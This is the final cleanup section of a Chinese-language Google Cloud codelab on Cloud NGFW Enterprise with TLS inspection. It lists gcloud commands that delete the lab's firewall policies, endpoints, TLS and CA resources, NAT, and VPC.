
export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除标记键和值：

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除 Cloud 防火墙网络政策和关联：

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

删除 Cloud Router 路由器和 Cloud NAT：

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

删除预留的 IP 地址：

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、关联和 TLS 清理

请按以下顺序删除安全配置文件组和威胁配置文件：

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

删除 Cloud Firewall 端点关联：

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

删除 Cloud Firewall 端点，这可能需要大约 20 分钟：

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

（可选）运行以下命令，确认 Cloud NGFW 端点已删除：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端点的状态应显示为：

STATE: DELETING

完成后，该端点将不再列出。

请按以下顺序删除 TLS 政策和信任配置：

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用根 CA 和 CA 池并将其删除：

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

清理子网和 VPC

最后，删除子网和 VPC 网络：

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 恭喜！

恭喜，您已成功完成“适用于东西向和北向 TLS 检查的 Cloud NGFW Enterprise”Codelab。